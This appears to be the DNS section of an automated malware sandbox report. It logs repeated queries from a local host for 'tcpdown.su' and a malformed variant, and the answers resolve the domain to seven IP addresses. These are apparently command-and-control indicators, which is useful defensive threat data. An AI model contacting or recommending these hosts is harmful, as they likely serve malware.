Jan 2, 2025 08:52:16.830887079 CET	192.168.2.13	1.1.1.1	0xc1c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.838184118 CET	192.168.2.13	1.1.1.1	0xc1c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.852485895 CET	192.168.2.13	1.1.1.1	0xc1c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:16.860042095 CET	192.168.2.13	1.1.1.1	0xc1c	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.737590075 CET	192.168.2.13	1.1.1.1	0xb04d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.816662073 CET	192.168.2.13	1.1.1.1	0xb04d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.829840899 CET	192.168.2.13	1.1.1.1	0xb04d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.850449085 CET	192.168.2.13	1.1.1.1	0xb04d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:18.878515005 CET	192.168.2.13	1.1.1.1	0xb04d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.413057089 CET	192.168.2.13	1.1.1.1	0xb351	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.426124096 CET	192.168.2.13	1.1.1.1	0xb351	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.451778889 CET	192.168.2.13	1.1.1.1	0xb351	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.460608959 CET	192.168.2.13	1.1.1.1	0xb351	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:20.468962908 CET	192.168.2.13	1.1.1.1	0xb351	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.302680969 CET	192.168.2.13	1.1.1.1	0x807e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.311224937 CET	192.168.2.13	1.1.1.1	0x807e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.319087982 CET	192.168.2.13	1.1.1.1	0x807e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.327008963 CET	192.168.2.13	1.1.1.1	0x807e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:22.334650040 CET	192.168.2.13	1.1.1.1	0x807e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.171211004 CET	192.168.2.13	1.1.1.1	0xed16	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.185489893 CET	192.168.2.13	1.1.1.1	0xed16	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.193152905 CET	192.168.2.13	1.1.1.1	0xed16	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.202619076 CET	192.168.2.13	1.1.1.1	0xed16	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:24.210602999 CET	192.168.2.13	1.1.1.1	0xed16	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.768513918 CET	192.168.2.13	1.1.1.1	0x446f	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.776648045 CET	192.168.2.13	1.1.1.1	0x446f	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.785392046 CET	192.168.2.13	1.1.1.1	0x446f	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.793339014 CET	192.168.2.13	1.1.1.1	0x446f	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:25.801223040 CET	192.168.2.13	1.1.1.1	0x446f	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.344001055 CET	192.168.2.13	1.1.1.1	0xa872	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.359349966 CET	192.168.2.13	1.1.1.1	0xa872	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.367177010 CET	192.168.2.13	1.1.1.1	0xa872	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.374856949 CET	192.168.2.13	1.1.1.1	0xa872	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:27.382690907 CET	192.168.2.13	1.1.1.1	0xa872	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.961461067 CET	192.168.2.13	1.1.1.1	0x91c5	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.973848104 CET	192.168.2.13	1.1.1.1	0x91c5	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:28.991308928 CET	192.168.2.13	1.1.1.1	0x91c5	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:29.015913963 CET	192.168.2.13	1.1.1.1	0x91c5	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:29.025202036 CET	192.168.2.13	1.1.1.1	0x91c5	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.570086002 CET	192.168.2.13	1.1.1.1	0xe4e6	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.578526974 CET	192.168.2.13	1.1.1.1	0xe4e6	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.587667942 CET	192.168.2.13	1.1.1.1	0xe4e6	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.598121881 CET	192.168.2.13	1.1.1.1	0xe4e6	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:30.605964899 CET	192.168.2.13	1.1.1.1	0xe4e6	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.439697981 CET	192.168.2.13	1.1.1.1	0x518e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.447451115 CET	192.168.2.13	1.1.1.1	0x518e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.455311060 CET	192.168.2.13	1.1.1.1	0x518e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.463284016 CET	192.168.2.13	1.1.1.1	0x518e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:32.470920086 CET	192.168.2.13	1.1.1.1	0x518e	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.303293943 CET	192.168.2.13	1.1.1.1	0x5f3d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.311526060 CET	192.168.2.13	1.1.1.1	0x5f3d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.319330931 CET	192.168.2.13	1.1.1.1	0x5f3d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.327208996 CET	192.168.2.13	1.1.1.1	0x5f3d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.335151911 CET	192.168.2.13	1.1.1.1	0x5f3d	Standard query (0)	tcpdown.su1@1\|	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.683377981 CET	1.1.1.1	192.168.2.13	0x7615	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.694700956 CET	1.1.1.1	192.168.2.13	0xf206	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.712177992 CET	1.1.1.1	192.168.2.13	0xf206	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.724014044 CET	1.1.1.1	192.168.2.13	0xf206	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.740621090 CET	1.1.1.1	192.168.2.13	0xf206	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:50.750366926 CET	1.1.1.1	192.168.2.13	0xf206	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.662908077 CET	1.1.1.1	192.168.2.13	0xcdf0	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.679560900 CET	1.1.1.1	192.168.2.13	0x7d3a	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.701109886 CET	1.1.1.1	192.168.2.13	0x7d3a	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.720696926 CET	1.1.1.1	192.168.2.13	0x7d3a	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.739626884 CET	1.1.1.1	192.168.2.13	0x7d3a	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:52.751998901 CET	1.1.1.1	192.168.2.13	0x7d3a	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.317276001 CET	1.1.1.1	192.168.2.13	0x74c7	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.330137014 CET	1.1.1.1	192.168.2.13	0x501c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.346628904 CET	1.1.1.1	192.168.2.13	0x501c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.357667923 CET	1.1.1.1	192.168.2.13	0x501c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.375432968 CET	1.1.1.1	192.168.2.13	0x501c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:54.393405914 CET	1.1.1.1	192.168.2.13	0x501c	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.259304047 CET	1.1.1.1	192.168.2.13	0x85b	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.269551039 CET	1.1.1.1	192.168.2.13	0x22ab	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.290576935 CET	1.1.1.1	192.168.2.13	0x22ab	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.303567886 CET	1.1.1.1	192.168.2.13	0x22ab	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.316277027 CET	1.1.1.1	192.168.2.13	0x22ab	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:56.409388065 CET	1.1.1.1	192.168.2.13	0x22ab	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.293210983 CET	1.1.1.1	192.168.2.13	0x448	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.303201914 CET	1.1.1.1	192.168.2.13	0x43d1	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.377737999 CET	1.1.1.1	192.168.2.13	0x43d1	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.387830019 CET	1.1.1.1	192.168.2.13	0x43d1	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.404037952 CET	1.1.1.1	192.168.2.13	0x43d1	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:51:58.413288116 CET	1.1.1.1	192.168.2.13	0x43d1	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.266596079 CET	1.1.1.1	192.168.2.13	0x26c6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.277970076 CET	1.1.1.1	192.168.2.13	0xcac8	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.290076017 CET	1.1.1.1	192.168.2.13	0xcac8	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.302911997 CET	1.1.1.1	192.168.2.13	0xcac8	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.314891100 CET	1.1.1.1	192.168.2.13	0xcac8	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:00.330864906 CET	1.1.1.1	192.168.2.13	0xcac8	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.229952097 CET	1.1.1.1	192.168.2.13	0x8ab9	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.238447905 CET	1.1.1.1	192.168.2.13	0xcebd	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.246902943 CET	1.1.1.1	192.168.2.13	0xcebd	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.257051945 CET	1.1.1.1	192.168.2.13	0xcebd	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.267357111 CET	1.1.1.1	192.168.2.13	0xcebd	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:02.276087999 CET	1.1.1.1	192.168.2.13	0xcebd	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.121983051 CET	1.1.1.1	192.168.2.13	0xcdb4	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.142060995 CET	1.1.1.1	192.168.2.13	0xcb65	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.149761915 CET	1.1.1.1	192.168.2.13	0xcb65	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.166582108 CET	1.1.1.1	192.168.2.13	0xcb65	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.175017118 CET	1.1.1.1	192.168.2.13	0xcb65	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:04.182718039 CET	1.1.1.1	192.168.2.13	0xcb65	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.730019093 CET	1.1.1.1	192.168.2.13	0x2a47	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.738497972 CET	1.1.1.1	192.168.2.13	0x638e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.746876001 CET	1.1.1.1	192.168.2.13	0x638e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.763632059 CET	1.1.1.1	192.168.2.13	0x638e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.774600983 CET	1.1.1.1	192.168.2.13	0x638e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:05.784435987 CET	1.1.1.1	192.168.2.13	0x638e	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.324265957 CET	1.1.1.1	192.168.2.13	0xddb3	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.332195044 CET	1.1.1.1	192.168.2.13	0x9323	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.342232943 CET	1.1.1.1	192.168.2.13	0x9323	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.350231886 CET	1.1.1.1	192.168.2.13	0x9323	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.358875990 CET	1.1.1.1	192.168.2.13	0x9323	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:07.368339062 CET	1.1.1.1	192.168.2.13	0x9323	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:09.188824892 CET	1.1.1.1	192.168.2.13	0x69d8	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
